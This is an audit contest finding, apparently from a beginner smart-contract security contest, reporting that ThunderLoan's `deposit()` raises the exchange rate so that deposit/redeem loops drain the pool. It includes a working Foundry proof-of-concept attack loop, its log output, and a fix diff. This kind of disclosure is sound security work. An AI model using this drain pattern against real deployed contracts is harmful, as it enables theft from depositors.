Beginner FriendlyFoundryDeFiOracle
100 EXP
View results
Submission Details
Severity: high
Valid

Exchange rate update in `deposit()` allows attacker to drain the protocol

Summary

An attacker can drain the protocol by repeatedly depositing and redeeming tokens.
Exchange rate is updated on deposit, although no user fees have been received. This
results in a deposit immediately followed by redeem to return more tokens than was
deposited.
Deposit/redeem cycles can be done repeatedly until the protocol is fully drained.

Vulnerability Details

The protocol is designed to allow depositors to deposit capital and earn interest
from flashloaners. The mechanism is that depositors deposit a protocol-approved
ERC20 token and in return get a protocol controlled AssetToken that represents
their deposit.
The AssetToken accrues interest on the underlying capital based on loaner activity.
Users, or flash loaners, pay fees which are the foundation of the interest
that the liquidity providers earn.
After any amount of time, a liquidity provider can redeem his asset tokens, and
get the original underlying token back, plus the fees it has generated.

The interest mechanism is implemented using a variable called
exchangeRate which is used to convert between asset tokens that the liquidity
providers hold and the underlying tokens that the protocol holds.

For deposits, given an amount tokenAmount
of ERC20 tokens deposited, the number of asset tokens, assetTokenAmount that
the liquidity provider
receives back is given by:

assetTokenAmount = tokenAmount / exchangeRate

Conversely, when redeeming a specified number of asset tokens, the liquidity
provider will receive:

tokenAmount = assetTokenAmount * exchangeRate

The exchangeRate is increased whenever a user takes out a loan,
and in that way all the liquidity providers will get a greater
amount of underlying tokens back and be able to earn interest from loaners.

The problem in this case, though, is that exchangeRate is also increased whenever a liquidity provider makes a deposit. This enables an attack through deposit immediately
followed by a redeem. Following is high level flow of such an attack outlined.
(We assume for simplicity that the initial exchange rate is 1.0 and leave
out the decimal precision details of calculations.)

  1. Attacker deposits 10 WETH

  2. ThunderLoan will calculate and mint a number of asset tokens.
    The formula above with the values substituted gives
    assetTokenAmount = tokenAmount / exchangeRate = 10 / 1 = 10

  3. The exchange rate is then updated. We'll skip the exact calculations - the
    important thing to note is that exchange rate will now be slightly larger,
    let's say 1.01 for the sake of illustrating the concept.

  4. Attacker redeems the 10 asset tokens

  5. ThunderLoan will calculate number of underlying WETH to return for the
    redeemed asset tokens: amountWeth = assetTokens * exchangeRate = 10 * 1.01 = 10.1.
    In this case we get the returned WETH amount = 10 * 1.01 = 10.1 WETH.

End result: The attacker has put in 10 WETH and got out 10.1 WETH. The protocol
and its remaining depositors have lost 0.1 WETH.
These steps can be repeated as many times as the attacker would like, and the whole
protocol will be thus be drained.

Code details

The relevant logic of the flow above is part of the files:

  • src/protocol/ThunderLoan.sol

  • src/protocol/AssetToken.sol

In particular the following parts are of interest:

  • the exchange rate update logic in deposit: https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L153-L154

  • usage of exchange rate when redeeming tokens in redeem: https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L174

  • the updating of the exchange rate in updateExchangeRate, called by deposit: https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/AssetToken.sol#L80-L96

Proof of Concept

This test function, added to the test contract in test/unit/ThunderLoanTest.t.sol is
a proof of concept of how the protocol can be attacked using the outline described above.
Note that this test passes, but the log output will give details of the problem.

function testDrainThroughDepositRedeemLoop() external setAllowedToken hasDeposits {
// This test assumes that other liquidity providers have deposited
// some deposits into the protocol.
// Another liquidity provider, here called attacker, can exploit the protocol
// and withdraw all funds given they have some initial liquidity to provide.
address attacker = address(uint160(3697934));
// Initial capital is not a problem, since any attacker could use a flashloan.
// Thus we assume quite a big initial capital for the attacker.
tokenA.mint(attacker, DEPOSIT_AMOUNT / 2);
AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);
uint256 protocolInitial = tokenA.balanceOf(address(assetToken));
uint256 attackerInitial = tokenA.balanceOf(attacker);
console.log("Initial tokens in protocol custody: %s", protocolInitial);
console.log("Attacker's initial amount of tokens: %s", attackerInitial);
// Start the attack, show the concept here with 3 deposit/redeem loops.
vm.startPrank(attacker);
for (uint256 i = 0; i < 3; ++i) {
// Let's get compound interest working for the attacker
// and deposit all of the available balance.
uint256 attackerBalance = tokenA.balanceOf(attacker);
console.log("Loop %s", i);
console.log(" Depositing tokens: %s", attackerBalance);
tokenA.approve(address(thunderLoan), attackerBalance);
thunderLoan.deposit(tokenA, attackerBalance);
// Try to redeem all attacker's asset tokens
try thunderLoan.redeem(tokenA, type(uint256).max) {
console.log(" Attacker token balance: %s", tokenA.balanceOf(attacker));
} catch {
// Eventually the protocol will be completely or nearly drained
// causing the redeem to fail. For simplicity of this PoC we just
// catch it. To completely drain the last weis of the protocol we
// could calculate the exact amount of assetTokens to successfully redeem.
break;
}
}
vm.stopPrank();
// Print some information about remaining token amounts
console.log("--- ATTACK SUMMARY ---");
console.log("Initial protocol balance: %s", protocolInitial);
console.log("Initial attacker balance: %s", attackerInitial);
console.log("Final protocol balance: %s", tokenA.balanceOf(address(assetToken)));
console.log("Final attacker balance: %s", tokenA.balanceOf(attacker));
// To make this into an actual unit test, add an assertion here.
}

After adding the test, running the command

forge test --mt RedeemLoop -vvv

yields the following output.

Logs:
Initial tokens in protocol custody: 1000000000000000000000
Attacker's initial amount of tokens: 500000000000000000000
Loop 0
Depositing tokens: 500000000000000000000
Attacker token balance: 500500499001996007975
Loop 1
Depositing tokens: 500500499001996007975
Attacker token balance: 501002000502494512460
Loop 2
Depositing tokens: 501002000502494512460
Attacker token balance: 501504507515510528411
--- ATTACK SUMMARY ---
Initial protocol balance: 1000000000000000000000
Initial attacker balance: 500000000000000000000
Final protocol balance: 998495492484489471589
Final attacker balance: 501504507515510528411

As can be seen, the attacker has increased his
token amount from 500000000000000000000 to 501504507515510528411.
The protocol's balance has decreased by the same delta.
This illustrates the idea; taken further by either
repeating more times or increasing the capital used, the protocol can be drained completely.
Note that even an attacker without a massive bankroll could easily get hold of a large
amount of initial capital through a flashloan from a competing lending platform (or
possibly from ThunderLoan itself should ThunderLoan have missed some reentrancy
check somewhere).

Altering the number of loops run in inside the test to 100 iterations gives
the output (snipped), roughly a 10% gain on the initial capital:

--- ATTACK SUMMARY ---
Initial protocol balance: 1000000000000000000000
Initial attacker balance: 500000000000000000000
Final protocol balance: 944447903342459546971
Final attacker balance: 555552096657540453029

With enough iterations (around 667 or so based on the other simulation parameters) the attacker can completely drain the protocol.

Impact

High severity - all protocol funds will be drained.

Tools used

Manual review

Recommendations

Remove the exchange rate update logic in the deposit() function of src/protocol/ThunderLoan.sol, as shown in this diff:

function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount);
- uint256 calculatedFee = getCalculatedFee(token, amount);
- assetToken.updateExchangeRate(calculatedFee);
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
Updates

Lead Judging Commences

0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

can't redeem because of the update exchange rate

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.